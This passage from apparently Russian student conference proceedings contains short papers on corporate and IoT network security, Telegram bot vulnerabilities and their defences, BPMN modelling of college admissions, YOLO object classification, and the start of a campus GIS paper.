тельными для бизнеса, иначе компания с нынешними тенденциями рискует потерпеть 
огромные убытки. Однако разнообразие решений для защиты инфраструктуры — от 
межсетевых экранов до систем мониторинга — создают сложности при выборе опти-
мальных инструментов. Неправильный подход к обеспечению безопасности может 
привести к уязвимостям как внешним, так и внутри сети, утечкам данных и финансо-
вым потерям. Цель исследования — определить наиболее эффективные методы и тех-
нологии защиты корпоративных сетей, учитывая их специфику и требования. Напри-
мер, если сеть полностью закрытая, как на государственных учреждениях, то угроза 
DDoS атак невозможна на сеть, так как без свободного доступа в интернет их не осуще-
ствить. Следовательно, некоторые меры по обеспечению безопасности сети устанавли-
вать необязательно, иначе они будут создавать сложности, такие как: менее эффектив-
ная скорость передачи данных и сложность в проектирование сети внутри помещения. 
В работе рассматриваются как классические, так и инновационные подходы, включая 
защиту от внешних атак: DDoS, фишинг, целевые взломы и минимизацию внутренних 
рисков ошибки сотрудников, инсайдерские угрозы, проникновение вредоносного ПО в 
сеть. Особое внимание уделяется интеграции решений с существующей IT-
разработками, например, такими как искусственный интеллект для распознавания 
угроз. Акцент сделан на сравнительном анализе технологий по следующим критериям: 
скорость реагирования на инциденты, масштабируемость и рентабельность внедрения. 
Результаты исследования позволят организациям выбрать сбалансированную страте-
гию защиты, обеспечивающую устойчивость сетей в условиях динамично меняющейся 
киберсреды, как отмечал в своей работе Георгий Крутс [1]. 

Перед тем как начать исследование нужно произвести классификацию угроз и 
подходы к их защите. Корпоративные сети сталкиваются с двумя основными категори-
ями угроз: внешними и внутренними. К внешним угрозами относятся следующие: 
DDoS-атаки – это умышленное зловредное действие, при которой злоумышленники пе-
регружают сеть или сервер массовыми запросами со множества устройств, делая ресурс 
недоступным для любого пользователя. Данная угроза актуальна для организаций с 
публичным доступом в интернет. Для защиты сети применяются специализированные 
анти-DDoS-сервисы, например, Cloudflare, фильтрация трафика на уровне сетевых 
экранов (NGFW) и балансировка нагрузки. Фишинг и целевые взломы – это способ 
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мошенничества в интернете, применяющий метод социальной инженерии, при котором 
злоумышленники маскируются под доверенные лица / организации, чтобы получить 
конфиденциальные данные: логины, пароли, банковские счета и т.д. Для обеспечения 
безопасности сети используются системы анализа поведения трафика с помощью ис-
кусственного интеллекта (ИИ), а также обучения сотрудников безопасному пользова-
нию интернета. Эксплойты уязвимостей – это ошибка в программном обеспечении, ко-
торую можно использовать для несанкционированного доступа. Способов защиты про-
тив подобной угрозы в настоящее время не существует. На рынке средств мониторинга 
уязвимостей в приложениях есть программы, лишь предостерегающие об опасностях, 
но которые не могут исправить источник уязвимости. Но, несмотря на это, можно 
уменьшить риски по их возникновению. Вот следующие методы, применяемые в ком-
паниях:  

1) Обновление ПО во избежание уязвимостей внутри приложения на различных 
версиях. Этот метод часто совмещается с бэкапам версии ПО, так как на новых версиях 
могут возникнуть более опасные уязвимости.  

2) Сканирование на уязвимости через сторонние приложения, например, Nessus, 
OpenVAS. 

3) Сегментация сетей для изоляции критических узлов.  
Теперь, когда были установлены основные источники угроз для корпоративной 

сети и также самые эффективные способы по их противодействию, рассмотрим суще-
ствующие меры по защите сети на данный момент времени: 

1) Межсетевые экраны (NGFW) 
Глубокий анализ трафика, фильтрация по IP-адресам и протоколам. 
2) Анти-DDoS-сервисы 
Фильтрация вредоносного трафика на уровне провайдера или облака. 
3) Шифрование данных 
Защита информации при передаче и хранении (SSL/TLS, VPN). 
4) Многофакторная аутентификация (MFA) 
Дополнительная проверка пользователей (SMS-коды, токены). 
5) Регулярное обновление ПО (патчинг) 
Устранение известных уязвимостей. 
6) Сегментация сети 
Разделение сети на изолированные зоны для ограничения распространения атак. 
7) Обучение сотрудников 
Повышение осведомлённости о фишинге и социальной инженерии. 
8) Сканирование уязвимостей 
Поиск слабых мест в системе (Nessus, OpenVAS). 
9) Физическая защита 
Разделение уровня доступа между сотрудниками. 
Как мы можем заметить, все способы защиты сети направленны на разные типы 

угроз, а значит не существует на данный момент мер безопасности, которые бы могли 
защитить компании от всех угроз одновременно. В таком случае многие компании ис-
пользуют данные меры в совокупности. Например, компания подвергается частым 
DDoS атакам и проникновению в сеть через скачанные ранее программное обеспечение 
на компьютер. Чтобы защитить свою сеть компания внедряет систему NGFW для мо-
ниторинга DDoS атак, затем через сервис Анти DDoS их предотвращает. Для защиты от 
проникновения компания устанавливает настройку на сеть на шифрование пакетов, ко-
торые по ней передаются, чтобы похитители информации не могли знать, что они во-
руют, после занимаются устранением утечки информации, например, удаляя приложе-
ния, через которые возможно произведён взлом, обновляют программное обеспечение, 
в крайнем случае отсоединяют клиента сети.  
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Теперь рассмотрим следующий вопрос: «Какие же виды сетей существуют на 
данный момент?». Если ориентироваться на книгу Алана Фридмена «Кибербезопас-
ность и кибервойна» [2] отмечается три вида сетей: 

1) Закрытая сеть – без открытого доступа в интернет применяется в государ-
ственных учреждениях. 

2) Частично закрытая – имеет доступ в интернет, осуществлённый через прокси 
или через доверенные домены. 

3) Открытая сеть – имеет открытый доступ в интернет.  
Сложив всё воедино можно создать таблицу средств безопасности для наглядно-

го примера для каких сетей необходимы меры безопасности.  
Таблица 1 – Таблица средств безопасности для сети 

Меры защиты Открытая сеть Частичный доступ Закрытая сеть 
Анти-DDoS +  

(Обязательно) 
+- 

(по необходимости) 
-  

(Не требуется) 
Межсетевое экранирова-
ние 

+ + +- 

Шифрование данных + + + 
Сегментация сети + + + 
Физическая защита  - + + 
Запрет внешних носите-
лей 

- +- + 

Многофакторная аутен-
тификация 

+ + + 

Обучение сотрудников + + + 
Сканирование уязвимо-
стей 

+- + + 

В ходе исследование можно отметить, что универсального средства безопасно-
сти корпоративной сети не существует на данный момент, связано это с тем, что спосо-
бов вредоносного воздействия на сеть, а также и напрямую на саму компанию очень 
много, и хоть для каждого есть свой определённый метод борьбы, всё равно не исклю-
чён шанс взлома и проникновения в сеть, с последующей кибер-атакой на компанию. 
Однако в зависимости от сети не стоит создавать более сложную систему систему под-
ключая все меры безопасности от кибер-угрозы. Как показывает практика, учтённая в 
справочнике NIST [3], в зависимости от сети стоит установить определённый инстру-
менты от кибер-опасности, тем самым сохранив ресурсы компании и создав сбаланси-
рованную сеть внутри для пользования сотрудников. 
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Современный этап технологического развития характеризуется стремительным 
ростом числа устройств, подключенных к интернету вещей (от англ. Internet of Things, 
IoT) – от простых бытовых приборов до медицинских имплантов и промышленных ро-
ботов. Однако массовое внедрение IoT-устройств сопровождается критическими про-
блемами безопасности, что делает тему исследования крайне актуальной. Это связано с 
различными сетевыми уязвимостями и недостаточной защищенностью самих 
устройств. Все слабые места активно эксплуатируются злоумышленниками для форми-
рования ботнетов, осуществляющих масштабные DDoS-атаки. Ярким примером стал 
ботнет Mirai, который в 2016 году парализовал работу крупных интернет-ресурсов, 
включая PayPal, Netflix и Spotify. Последствия таких атак включают не только финан-
совые потери, но и риски утечек персональных данных, угрозы физической безопасно-
сти и нарушения работы критической инфраструктуры [1]. 

Целью данной работы – систематизировать ключевые угрозы безопасности IoT-
сетей и предложить комплекс стратегий для их минимизации. 

Атака ботнета Mirai в 2016 году стала поворотным моментом в понимании уяз-
вимостей интернета вещей. Тысячи камер и маршрутизаторов, оставленных пользова-
телями с паролями вроде «admin» или «12345», превратились в инструмент киберпре-
ступников, способный обрушить крупнейшие сайты мира. Этот случай не аномалия, а 
закономерность: чем больше устройств подключается к сети, тем выше риск компроме-
тации всей системы. Даже одна ошибка в настройке устройства может сделать уязви-
мой домашнюю сеть, как отмечают эксперты лаборатории Касперского [1].  
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Проблема начинается с того, как проектируются IoT-устройства. Производители, 
стремясь снизить стоимость, часто игнорируют базовые принципы безопасности. 
Например, многие устройства до сих пор поставляются с предустановленными пароля-
ми, которые пользователи не меняют [1]. Яркой иллюстрацией последствий использо-
вания слабых паролей, паролей по умолчанию или вовсе их отсутствия стала крупная 
атака на американский университет в 2017 году. Злоумышленники создали ботнет из 
более чем 5000 IoT-устройств кампуса – от умных торговых автоматов до систем улич-
ного освещения. Атака, получившая название, парализовала работу сети: DNS-серверы 
были перегружены тысячами запросов, а интернет-соединение стало практически недо-
ступным. Причиной успеха атаки стали слабые или стандартные пароли на устрой-
ствах, которые подбирались методом полного перебора [2]. 

Предотвращение подобных атак требует не столько технологических решений, 
сколько базовой цифровой гигиены. Первым шагом должна стать обязательная смена 
паролей по умолчанию на уникальные и сложные комбинации. Например, в случае с 
университетом, оперативная замена паролей на всех устройствах позволила нейтрали-
зовать взлом устройств и вернуть сеть в нормальное состояние. Однако даже надежные 
пароли бессильны, если устройство содержит уязвимости в прошивке. Поэтому регу-
лярные обновления – второй критически важный элемент защиты. Многие производи-
тели игнорируют выпуск обновлений для устройств старше двух лет, а если и выпус-
кают, то пользователи не спешат их устанавливать.  

Решением может стать внедрение автоматических OTA-обновлений (от англ. 
Over-The-Air), которые устраняют уязвимости без участия пользователя. Например, 
стандарт Matter, разработанный консорциумом крупных компаний, обязывает произво-
дителей поддерживать устройства обновлениями на протяжении всего жизненного 
цикла [2]. Это уже гарантирует, что умные устройства не станут слабым звеном из-за 
устаревшего программного обеспечения. 

Не менее важным является переосмысление архитектуры IoT-сетей. Умный дом 
можно сравнить с крепостью, где каждое устройство – потенциальная «лазейка». Если 
злоумышленник взломает одну умную лампу или камеру, он не должен получить до-
ступ ко всей сети. Для этого применяется сегментация: умные устройства подключают-
ся к изолированной подсети, отделенной от основных данных. Технологии вроде SDN 
(программно-определяемых сетей) автоматически блокируют подозрительные устрой-
ства. Например, если датчик начинает отправлять гигабайты данных на неизвестный 
сервер, SDN мгновенно изолирует его [2]. 

Еще одной ключевой слабостью интернета вещей является уязвимость в прото-
колах связи. Например, протокол MQTT, популярный в умных домах, по умолчанию 
передает данные без шифрования, позволяя злоумышленникам перехватывать команды 
для умных замков, термостатов и прочих устройств. Другой пример – протокол Zigbee, 
который долгое время страдал от уязвимости CVE-2023-22817 позволяющей подделы-
вать пакеты данных на стороне сервера. Необходимым условием безопасности в дан-
ном случае является переход на защищенные протоколы. Протокол Thread (разрабо-
танный Google и Apple) встраивает шифрование AES-128 на сетевом уровне, а стандарт 
Matter требует обязательной аутентификации устройств через цифровые сертификаты. 
Это исключает подключение несертифицированных устройств – умный дом автомати-
чески блокирует «левые» гаджеты, как антивирус блокирует вредоносные файлы [2]. 
Интересно, что IoT-сети уязвимы к атакам, которые традиционные системы давно 
научились блокировать. Например, ARP-spoofing (уязвимость протоколов определения 
MAC-адресов) позволяет злоумышленнику выдать себя за маршрутизатор и перенапра-
вить трафик умных устройств через свой сервер. В промышленной инфраструктуре это 
может привести к фальсификации показаний датчиков давления на нефтепроводе, мас-



337 

кируя опасные утечки. Другая угроза – атаки на истощение ресурсов, когда хакеры от-
правляют тысячи запросов к IoT-шлюзу, вызывая его перегрузку.  

Для защиты применяются механизмы фильтрации трафика на уровне сети. 
Например, использование IPS/IDS-систем (система обнаружения вторжений), адапти-
рованных для интернета вещей, позволяет обнаруживать аномальные паттерны, такие 
как повторяющиеся запросы к одному устройству. Технология MAC-адресации с дина-
мической верификацией блокирует устройства с подозрительными идентификаторами, 
а политики QoS (качество обслуживания) резервируют ресурсы сети для критически 
важных устройств, предотвращая их перегрузку. 

Но как защитить сами устройства? Самый простой способ – встраивание защиты 
на уровне «железа». Микросхемы с аппаратным шифрованием превращают данные с 
датчиков в «цифровую тайнопись», которую почти невозможно расшифровать без фи-
зического доступа [1, 2]. А технологии вроде Secure Boot не дадут злоумышленнику 
подменить прошивку – устройство просто откажется запускать неподписанный код.  

Еще одним перспективным направлением в защите интернета вещей становится 
использование искусственного интеллекта (ИИ) для прогнозирования и нейтрализации 
угроз в реальном времени [3]. Представим, что сеть умных устройств – это живой орга-
низм, а ИИ – его «иммунная система», которая учится распознавать паттерны атак. 
Например, алгоритмы машинного обучения анализируют трафик между датчиками, 
выявляя аномалии: если термостат внезапно начинает отправлять данные в десять раз 
чаще обычного, система автоматически изолирует его, предотвращая потенциальные 
проблемы. Такой подход особенно эффективен против новых, ранее неизвестных угроз. 
Однако, для реализации потребуются мощные вычислительные ресурсы, которые IoT-
устройства, обладая ограниченной памятью и энергией, предоставить не могут. В таком 
случае можно попытаться разместить ИИ на шлюзе сети, облачной платформе или цен-
трализованном сервере безопасности. Это не требует больших мощностей от самих 
устройств, но требует защиты каналов передачи данных и минимальных задержек. 

Проведенный анализ демонстрирует, что безопасность интернета вещей – это 
сложный, многоуровневый процесс, требующий интеграции технологических решений, 
нормативного регулирования и осознанного участия пользователей. Необходимо пони-
мать, что IoT-безопасность нельзя купить как коробочный продукт. В этом процессе 
каждый элемент – от чипа до облачного сервера должен быть частью экосистемы дове-
рия, которая требует как внешней сетевой, так и аппаратной защищенности. Безопас-
ность заключается не в отдельных технологиях, а в синергии всех участников экоси-
стемы. Производителям необходимо отказаться от «экономии на безопасности», заме-
нив её принципом «безопасность по умолчанию». Регуляторы должны устанавливать 
четкие нормативные требования, чтобы исключить появление на рынке уязвимых 
устройств. Пользователям же критически важно воспринимать IoT-устройства не про-
сто как гаджеты, а как элементы инфраструктуры, требующие хотя бы базовой цифро-
вой безопасности. 
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До 2028 года предстоит подготовить порядка миллиона специалистов рабочих 
профессий. Эти ребята должны быть готовыми трудиться в экономике 21-го века. Такие 
подходы необходимо распространить на всю систему среднего профобразования, 
включая подготовку кадров для школ, больниц, поликлиник, сферы услуг, туризма, 
учреждений культуры, творческих индустрий [1] – таким был один из пунктов Прези-
дента Российской Федерации в послании Федеральному собранию. Поэтому учет аби-
туриентов в СПО является важной задачей, которая требует комплексный подход, 
включая улучшение информационного обеспечения, автоматизацию процессов и ак-
тивную работу с целевыми аудиториями. На данный момент не существует программ-
ного обеспечения, удовлетворяющего всем требованиям данной области. Целью работы 
является создание четкой и визуально понятной модели процессов приемной комиссии, 
которая позволит автоматизировать ключевые этапы обработки заявлений, взаимодей-
ствия с абитуриентами, управления документами принятия решений с целью повыше-
ния эффективности, прозрачности и качества работы комиссии.  

Результат проектирования будет представлен в нотации BPMN. 
Основным нормативно-правовым документом, помимо Федерального закон «Об 

образовании в Российской Федерации» от 29.12.2012 N 273-ФЗ [2], является Приказ 
Минпросвещения России от 02.09.2020 N 457 (ред. от 28.10.2024) «Об утверждении 
Порядка приема на обучение по образовательным программам среднего профессио-
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нального образования» [3], но необходимо учитывать не только их при работе приём-
ной комиссии. Организация качественного функционирования приемной кампании яв-
ляется сложной задачей, требующей тщательной подготовки. Одним из способов явля-
ется введение автоматизации, но ни одна подобная система не может быть реализована 
без этапа проектирования. Существует множество видов проектирования информаци-
онной системы, среди которых составление различного вида диаграмм. Они помогают 
визуализировать систему и облегчают процесс согласования с заказчиком. BPMN-
диаграмма позволяет подробно смоделировать бизнес-процесс. Диаграммы BPMN об-
ладают рядом преимуществ, которые делают их эффективным инструментом для моде-
лирования и управления бизнес-процессами. К основным можно отнести: 

- стандартизация; 
- визуализация; 
- поддержка сложных процессов; 
- улучшение коммуникации; 
- анализ и оптимизация; 
- поддержка различных технологий;  
- гибкость и адаптивность; 
- идентификация ролей и ответственности; 
- стимулирование инноваций. 
Для составления диаграммы приведем подробное текстовое описание. Всю дея-

тельность приемной кампании можно разделить на насколько этапов: 
1. Подготовительный. 
2. Прием документов. 
3. Вступительные испытания (для ряда профессий/специальностей). 
4. Формирование списков о зачислении. 
5. Зачисление. 
Во время подготовительного этапа приемная комиссия объявляет:  
- правила приема; 
- перечень направлений подготовки, на которые будет осуществляться приём; 
- количество мест для приема на первый курс в соответствие с контрольными 

цифрами приема по каждому направлению; 
- перечень и программы вступительных испытаний (только для 45 специально-

стей, утверждённых перечнем [3]); 
- порядок подачи и рассмотрения апелляции по результатам вступительных ис-

пытаний; 
- количество мест в общежитии; 
- порядок зачисления. 
На этапе приема документов все заявления и другие необходимые документы 

фиксируются в информационной системе. При этом составляются ежедневные и еже-
недельные отчеты. Рейтинг аттестатов по каждой профессии/специальности так же 
формируется ежедневно. Так же на этапе приема документов абитуриент имеет право 
перенести свое заявление на другое направление. Вступительные экзамены проходят в 
один день для всех абитуриентов. Результат может быть «сдано» и «не сдано». Не про-
шедшие вступительные испытания к участию в дальнейшем конкурсе не допускаются. 

Решение приемной комиссии о зачисление в состав обучающихся оформляется 
протоколом, на основании которого директор оформляет приказ. Существует несколько 
вариантов нотаций, с помощью которых может быть реализовано проектирование: 
блок-схемы, ER-диаграммы, UML-диаграммы, BPMN-диаграммы, макеты и др. [4]. 
Каждая из них по-своему помогает продемонстрировать те или иные требования к про-
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граммам. На данный момент, наиболее популярными нотациями, используемыми при 
разработке – UML (унифицированный язык моделирования), IDEF (стандарт моделиро-
вания сложных систем), BPMN (язык моделирования бизнес-процессов) [5]. Для перво-
начального определения требований авторами была выбрана модель проектирования 
бизнес-процессов. Таким образом диаграмма будет иметь вид, продемонстрированный 
на рисунке 1. 

 
Рисунок 1 – Диаграмма BPMN  
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Грамотно спланированное взаимодействие колледжа и абитуриентов позволит 
обеспечить формирование качественного контингента обучающихся. В работе подроб-
но рассмотрен бизнес процесс, отражающий функционирование приемной комиссии.  

Авторами была составлена диаграмма BPMN для визуализации процесса работы 
приемной кампании. Это позволит повысить качество работы приемной комиссии. 

Таким образом, BPMN – диаграммы являются мощным инструментом для ме-
неджмента и оптимизации бизнес-процессов, способствующим повышению эффектив-
ности и качества работы организаций, введения инноваций. 
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В последние годы телеграм-боты стали неотъемлемой частью информационно-
коммуникационных технологий. Они находят широкое применение в различных сферах 
жизни человека – от личных цифровых помощников и образовательных сервисов до 
элементов автоматизации бизнеса и клиентской поддержки. Благодаря доступности 
разработки и простоте интеграции, телеграм-боты активно внедряются не только в 
масштабных проектах, но и в небольших пользовательских и студенческих разработ-
ках. Однако стремительное распространение таких решений сопровождается ростом 
рисков, связанных с их безопасностью. 

Одной из серьёзных проблем при разработке телеграм-ботов является недоста-
точное внимание к вопросам информационной безопасности. Многие разработчики не 
используют защищённые каналы связи, не реализуют валидацию пользовательского 
ввода, неправильно хранят токены доступа и конфигурационные данные. Всё это дела-
ет боты уязвимыми к атакам со стороны злоумышленников. Последствия таких атак 
могут быть различными: от несанкционированного управления ботом и получения 
конфиденциальной информации до компрометации внешней информационной систе-
мы, частью которой является бот. 

Целью данной работы является анализ наиболее распространённых и критичных 
уязвимостей телеграм-ботов, а также описание методов защиты, направленных на 
обеспечение их безопасной работы. В статье рассматриваются типовые сценарии атак, 
включая перехват данных, SQL-инъекции, подмену запросов и атаки типа «человек по 
середине», а также методы их предотвращения. Тема является актуальной в условиях 
цифровизации всех сфер общества. Это обусловливает необходимость систематизации 
угроз и защитных механизмов в данной области. 

Рассмотрим утечку токена доступа. Каждый телеграм-бот функционирует на ос-
нове токена – секретного ключа, выдаваемого телеграмом при регистрации. Если этот 
токен окажется в открытом доступе, например, в репозитории GitHub, злоумышленник 
может выдать себя за этого бота. При получении токена от бота злоумышленник может 
как отправить сообщение от имени бота, так и фишинговую ссылку, удалить или изме-
нить информацию, передаваемую пользователями, заблокировать работу бота или по-
лучить данные пользователей, которую хранит бот. Для предотвращения утечки токена 
требуется не размещать токен в коде на открытых платформах, использовать перемен-
ные окружения для хранения токена, регулярно менять токен при подозрении на утеч-
ку. Помимо технических уязвимостей, опасность представляет и социальная инжене-
рия. Злоумышленник может выдать себя за администратора или службу поддержки, 
чтобы обманом получить токен или доступ к управлению ботом. Предотвратить это 
можно с помощью повышения цифровой грамотности сотрудников и ограничений до-
ступа. Перейдем к SQL-инъекциям и необработанному вводу пользователя. Если бот 
сохраняет или извлекает информацию из базы данных, используя необработанный 
пользовательский ввод, злоумышленник может внедрить вредоносный SQL-код. При 
некорректном использовании запросов злоумышленник может получить доступ к базе 
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данных: логины, номера телефонов, пароли, изменить содержимое базы: удалить запи-
си, изменить роли пользователей и, в некоторых случаях, получить доступ к командной 
строке и соответственно к серверу. 

Для защиты от этой уязвимости требуется вместо того, чтобы вручную форми-
ровать строку запроса, используем плейсхолдеры. Данная стратегия работоспособна, 
так как база данных сама обрабатывает значения как данные, а не как часть SQL-кода. 
Также, можно фильтровать пользовательский ввод, ограничить права пользования ба-
зой данных самому боту или использовать библиотеки SQLAlchemy, Peewee, Django 
ORM. Они снижают риск SQL-инъекций, так как автоматически экранируют параметры 
[1].  Для поддержания информационной безопасности бота относительно баз данных, 
можно составлять логи с запросами, которые имеют слишком большую длину, необыч-
ные символы, используемые для инъекций и неоднократные попытки входа с различ-
ными данными. Также стоит регулярно тестировать на уязвимости при помощи записи 
с записей логов, при наличии баз данных, sqlmap и Bandit, SonarQube, Flake8 – для ана-
лиза кода на языке программирования Python Атаки типа «человек посередине» можно 
провести при Webhook-соединении. Webhook – это механизм, который позволяет од-
ному приложению отправлять данные другому приложению в реальном времени, как 
только событие происходит. Это противоположность опроса, где клиент сам регулярно 
проверяет сервер, нет ли обновлений. В случае webhook сервер автоматически уведом-
ляет приложение о событии, отправляя данные через HTTP-запрос [2]. 

Если соединение между телеграм и твоим сервером использует незашифрован-
ный протокол HTTP или слабую валидацию запросов, злоумышленник может перехва-
тить запросы, которые телеграм отправляет на твой сервер, и изменить их, изменить 
данные в запросе, отправляемые сервером, например, подменить ID пользователя или 
сообщение или же перехватить токен [3]. Для предотвращения утечки данных, требует-
ся использовать HTTPS-протокол. Также, телеграм предоставляет секретный ключ, ко-
торый можно использовать для проверки подписи запросов, поступающих на webhook. 
Каждое сообщение будет подписано этим ключом, и сервер должен сверить подпись с 
ожидаемой. При использовании webhook можно настроить свой сервер так, чтобы при-
нимать запросы только от этих IP, а все остальные игнорировать [4]. 

Отсутствие аутентификации является серьезной угрозой. Если бот предоставляет 
одинаковый функционал всем пользователям, включая административные команды, 
злоумышленник может получить доступ к управлению системой. 

Злоумышленник может удалить или изменить расписание, задачи или данные 
других пользователей, получить доступ к закрытым разделам или использовать бот как 
прокси для отправки спама. Метод защиты прост, требуется ввести механизм авториза-
ции по коду или паролю, создать список проверенных ID пользователей [5]. 

В данной работе был проведён анализ наиболее актуальных уязвимостей, при-
сущих телеграм-ботам, и рассмотрены методы их предотвращения в контексте обеспе-
чения информационной безопасности. В процессе исследования было выявлено, что 
наибольшую угрозу представляют утечка токена доступа, SQL-инъекции, атаки типа 
«человек посередине» и отсутствие механизма аутентификации. Каждая из рассмот-
ренных уязвимостей может привести к серьёзным последствиям – от потери контроля 
над ботом до утечки персональных данных и нарушения целостности информационной 
системы. Авторами были систематизированы основные угрозы, проанализированы ти-
повые сценарии атак, а также предложены практические меры защиты, включая ис-
пользование защищённых протоколов связи, проверку входных данных, применение 
ORM-библиотек, ограничение IP-доступа к серверу и внедрение механизмов аутенти-
фикации пользователей. В работе доказано, что даже при разработке небольших поль-
зовательских решений необходимо учитывать принципы безопасного программирова-
ния и регулярно тестировать систему на наличие уязвимостей. Таким образом, в рамках 
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поставленной цели были рассмотрены наиболее критичные аспекты защиты телеграм-
ботов, и предложенные решения позволяют существенно снизить риски, связанные с их 
эксплуатацией в составе информационных систем. 
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USING ARTIFICIAL INTELLIGENCE IN RECOGNITION OF OBJECTS 
«LIVING/NON-LIVING» 
 
Аннотация В данной статье рассматривается распознавание объектов по признаку «жи-
вой» или «неживой» с использованием современных методов искусственного интеллек-
та, в частности, сверточной нейронной сети YOLO (CNN YOLO). YOLO отличается вы-
сокой скоростью обработки и способностью производить детекцию и классификацию 
объектов за один проход изображения, что делает её особенно эффективной для приме-
нения в системах реального времени. Проведённые эксперименты подтверждают, что 
модель демонстрирует высокий уровень порога уверенности при определении категорий 
объектов, обеспечивая точность и надёжность распознавания. 
Abstract. This paper discusses object recognition based on whether it is «alive» or «non-alive» 
using modern artificial intelligence methods, in particular, the YOLO convolutional neural net-
work (CNN YOLO). YOLO is characterized by high processing speed and the ability to detect 
and classify objects in one pass of the image, which makes it especially effective for use in real-
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time systems. The experiments conducted confirm that the model demonstrates a high level of 
confidence threshold when determining object categories, ensuring the accuracy and reliability 
of recognition. 
Ключевые слова: искусственный интеллект, машинное обучение, нейросети, компьютер-
ное зрение, распознование объектов. 
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В современном мире автоматизированный анализ визуальной информации игра-
ет ключевую роль в развитии технологий искусственного интеллекта (ИИ) и компью-
терного зрения. Особую актуальность приобретает задача распознавания и классифика-
ции объектов по принципу «живое/неживое», что находит широкое применение в си-
стемах безопасности, медицине, робототехнике и других критически важных областях. 

Степень разработанности темы свидетельствует о значительном прогрессе в 
данной области, однако существующие решения часто демонстрируют недостаточную 
точность и скорость работы при распознавании объектов в сложных условиях окружа-
ющей среды. Это создает потребность в более эффективных алгоритмах и методах ана-
лиза визуальной информации. 

Целью данной работы является исследование возможностей сверточной нейрон-
ной сети YOLO (You Only Look Once) для решения задачи бинарной классификации 
объектов по принципу «живое/неживое» [1, 2]. 

Практическая значимость исследования заключается в создании эффективного 
инструмента для автоматического распознавания живых и неживых объектов, что мо-
жет существенно улучшить работу систем безопасности, медицинских диагностических 
комплексов и робототехнических систем. Результаты исследования вносят вклад в раз-
витие технологий компьютерного зрения и открывают новые перспективы для их прак-
тического применения в различных отраслях. 

Искусственный интеллект играет ключевую роль в современном мире, оказывая 
значительное влияние на самые разные сферы человеческой деятельности – от про-
мышленности и транспорта до здравоохранения, образования и сферы услуг. Одним из 
наиболее активно развивающихся направлений в области ИИ является компьютерное 
зрение, которое позволяет системам автоматически анализировать и интерпретировать 
визуальную информацию. Особенно важным аспектом здесь является задача автомати-
ческого распознавания объектов, поскольку она лежит в основе таких прикладных тех-
нологий, как интеллектуальное видеонаблюдение, управление автономными транс-
портными средствами, медицинская диагностика по изображениям и многое другое [1, 
2]. Среди современных методов компьютерного зрения особое место занимает сверточ-
ная нейронная сеть YOLO (You Only Look Once), зарекомендовавшая себя как один из 
самых эффективных и высокопроизводительных инструментов для детекции объектов. 
YOLO выполняет однопроходную обработку изображения, что позволяет достигать 
высокой скорости распознавания при сохранении точности классификации. Это делает 
её незаменимой для задач, связанных с анализом изображений и видеопотоков в режи-
ме реального времени [2]. В рамках данной работы акцент сделан на исследовании воз-
можностей применения YOLO для решения специфической задачи – классификации 
объектов по признаку «живой» или «неживой». Такой подход открывает перспективы 
для создания более интеллектуальных и адаптивных систем, способных дифференци-
ровать объекты по их природе, что имеет практическую значимость во множестве от-
раслей – от робототехники до мониторинга окружающей среды [1, 2]. 

На рисунке 1 показано распознование «живого» объекта которого классифици-
руют как Сat (кот). 
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Рисунок 1 – Распознавание «живого» объекта, классифицированного как Cat (кот) 

Как показано на рисунке 1, нейронная сеть YOLO успешно распознала объект, 
относящийся к категории «живой», и классифицировала его как Cat (кот), точно опре-
делив его границы на изображении. Такой результат свидетельствует о высокой чув-
ствительности модели к визуальным признакам живых существ, включая форму, тек-
стуру и контур. YOLO использует предварительно обученные веса и глубокую архи-
тектуру сверточных слоёв, что позволяет эффективно выделять характерные черты 
объектов и проводить точную классификацию даже в условиях неоднозначного фона 
или частичных перекрытий. Это подчёркивает потенциал модели в задачах биометри-
ческого анализа, мониторинга дикой природы и других приложений, где важно досто-
верное определение живых объектов. [3] 

На рисунке 2 показано распознование «неживого» объекта Су-57, которого клас-
сифицируют как airplane . 

 
Рисунок 2 – Распознавание «неживого» объекта Су-57,  

классифицированного как airplane 
Как показано на рисунке 2, нейронная сеть YOLO снова распознала объект, на 

этот раз «неживой», тем самым показывая, что нейронная сеть может эффективно рас-
познавать «живые» и «неживые» объекты, тем самым демонстрируя её универсаль-
ность для использования в различных контекстах [3, 4]. 

В данной статье было рассмотрено применение методов искусственного интел-
лекта, в частности сверточной нейронной сети YOLO (You Only Look Once), для авто-
матизированного распознавания объектов по признаку «живой» или «неживой». Про-
ведённый анализ показал, что YOLO обеспечивает высокую точность и производитель-
ность при обработке изображений в реальном времени, благодаря своей уникальной 
архитектуре, позволяющей одновременно выполнять детекцию и классификацию объ-
ектов за один проход. Экспериментальные результаты, представленные в работе, под-
тверждают, что модель корректно идентифицирует объекты различной природы и клас-
сифицирует их с высоким уровнем уверенности. Такая эффективность делает YOLO 
особенно актуальной для внедрения в прикладные области, где необходимы надёжные 
и быстрые решения: видеонаблюдение, интеллектуальные транспортные системы, бес-
пилотные летательные аппараты, медицина и промышленная автоматизация. Помимо 
успешных текущих результатов, стоит отметить потенциал дальнейшего развития: со-
здание специализированных датасетов, оптимизация моделей для работы в условиях 
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низкого качества изображений или плохого освещения, а также интеграция с другими 
сенсорными системами. Всё это позволит расширить функциональность и устойчивость 
моделей в реальных сценариях эксплуатации. 
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РАЗРАБОТКА ГЕОИНФОРМАЦИОННОЙ СИСТЕМЫ КАМПУСА 
УНИВЕРСИТЕТА 
 
DEVELOPMENT OF THE GEOGRAPHIC INFORMATION SYSTEM  
OF THE UNIVERSITY CAMPUS 
 
Аннотация. Современный университет как объект управления представляет собой 
сложную территориально распределённую систему. Деятельность высшего учебного 
заведения многопрофильная, а управление им – комплексная задача, требующая реше-
ния организационных и технологических вопросов с учётом экономической целесооб-
разности. Построение информационной среды управления вузом с использованием со-
временных геоинформационных технологий позволяет объединить в единое целое рас-
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пределённую информацию, обеспечить возможность пространственного анализа для 
выявления нагрузок, проблемных участков, обеспечения мероприятий, ведущих к по-
вышению качества образования. 
Abstract. A modern university, as an object of management, is a complex geographically dis-
tributed system. The activity of a higher educational institution is multidisciplinary, and its 
management is a complex task that re-quires solving organizational and technological issues, 
taking into account economic feasibility. Building an information environment for university 
management using modern geoinformation technologies allows you to combine distributed 
information into a single whole, provide the possibility of spatial analysis to identify loads, 
problem areas, and provide measures leading to improving the quality of education. 
Ключевые слова: геоинформационные системы, ГИС университета, кампус универси-
тета, 3D-моделирование, WebGL. 
Key words: geoinformation systems, GIS of the university, university campus, 3D modeling, 
WebGL.  
 

Построение информационной среды управления вузом с использованием совре-
менных геоинформационных технологий позволяет объединить в единое целое распре-
делённую информацию, обеспечить возможность пространственного анализа для выяв-
